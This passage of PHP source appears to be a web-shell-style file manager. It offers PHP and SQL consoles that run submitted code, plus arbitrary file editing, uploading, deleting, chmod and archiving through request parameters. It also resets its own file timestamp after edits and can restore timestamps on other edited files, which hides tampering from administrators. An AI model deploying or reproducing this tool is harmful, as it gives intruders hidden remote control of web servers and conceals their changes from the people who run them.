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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

